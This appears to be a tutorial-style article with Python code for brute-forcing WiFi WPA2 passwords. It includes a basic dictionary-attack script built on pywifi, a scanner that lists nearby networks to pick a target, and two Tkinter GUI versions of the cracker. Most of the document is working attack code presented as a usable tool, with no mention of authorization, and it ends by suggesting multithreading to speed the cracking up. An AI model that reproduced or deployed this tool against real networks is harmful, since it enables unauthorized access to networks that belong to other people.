Python Script for WiFi Password Brute‑Force Cracking and GUI Tool Development

The article introduces a method for cracking WiFi passwords with Python, first presenting a basic non‑graphical script that iterates through a password list, attempts connections via the pywifi library, and reports success or failure.

import pywifi from pywifi import const import time, datetime def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = "Tr0e" profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(2) return ifaces.status() == const.IFACE_CONNECTED else: print("已有wifi连接") def readPassword(): success = False print("****************** WIFI破解 ******************") path = "pwd.txt" file = open(path, "r") start = datetime.datetime.now() while True: try: pwd = file.readline().strip('\n') if wifiConnect(pwd): print("[*] 密码已破解：", pwd) success = True break else: print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s" % ("Tr0e", pwd)) except: continue end = datetime.datetime.now() if success: print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start)) else: print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！") exit(0) if __name__ == "__main__": readPassword()

The script’s execution results are shown with screenshots of successful password discovery and connection status.

To improve flexibility, the article adds a WiFi scanning function that lists nearby networks sorted by signal strength, allowing the user to select a target and specify a custom password dictionary.

import pywifi, time from pywifi import const def wifi_scan(): wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.scan() time.sleep(4) bss = interface.scan_results() wifi_name_set = set() for w in bss: wifi_name_set.add((100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))) wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True) for idx, (sig, ssid) in enumerate(wifi_name_list): print(f"{idx:<6}{sig:<8}{ssid}") return wifi_name_list def wifi_password_crack(wifi_name): wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典（txt格式，每个密码占据1行）的路径：") with open(wifi_dic_path, 'r') as f: for pwd in f: pwd = pwd.strip('\n') wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] iface.disconnect() while iface.status() == 4: pass profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) iface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: if iface.status() == 4: print(f"\r连接成功！密码为：{pwd}") exit(0) else: print(f"\r正在利用密码 {pwd} 尝试破解。", end='')

A simple graphical interface is then built with Tkinter, providing entry fields for the WiFi name and password, a button to start cracking, and a listbox to display progress.

from tkinter import * from pywifi import const import pywifi, time def wificonnect(str, wifiname): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = wifiname profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.key = str profile.auth = const.AUTH_ALG_OPEN profile.cipher = const.CIPHER_TYPE_CCMP ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(3) return ifaces.status() == const.IFACE_CONNECTED else: return False def readPwd(): wifiname = entry.get().strip() path = r'./pwd.txt' file = open(path, 'r') while True: try: mystr = file.readline().strip() if wificonnect(mystr, wifiname): text.insert(END, '密码正确' + mystr) break else: text.insert(END, '密码错误' + mystr) except: continue root = Tk() root.title('wifi破解') root.geometry('500x400') label = Label(root, text='输入要破解的WIFI名称：') label.grid() entry = Entry(root, font=('微软雅黑', 14)) entry.grid(row=0, column=1) text = Listbox(root, font=('微软雅黑', 14), width=40, height=10) text.grid(row=1, columnspan=2) button = Button(root, text='开始破解', width=20, height=2, command=readPwd) button.grid(row=2, columnspan=2) root.mainloop()

The article further upgrades the UI by adding a file‑dialog for selecting the password dictionary, a tree view showing scanned WiFi details, and improved event handling, all encapsulated in a class‑based Tkinter application.

class MY_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name self.get_value = StringVar() self.get_wifi_value = StringVar() self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() self.iface = self.wifi.interfaces()[0] self.iface.disconnect() time.sleep(1) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") labelframe.grid(column=0, row=0, padx=10, pady=10) Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0) Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0) # ... additional widgets and treeview setup ... def scans_wifi_list(self): print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(15) scanres = self.iface.scan_results() self.show_scans_wifi_list(scanres) return scanres def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # ... additional methods for file selection, password reading, connection testing ... def gui_start(): init_window = Tk() ui = MY_GUI(init_window) ui.set_init_window() init_window.mainloop() if __name__ == "__main__": gui_start()

In the concluding section, the author notes that while the scripts successfully demonstrate WiFi cracking and GUI development, they lack multithreading, which would reduce the waiting time caused by the inherent delay of WiFi connection attempts.
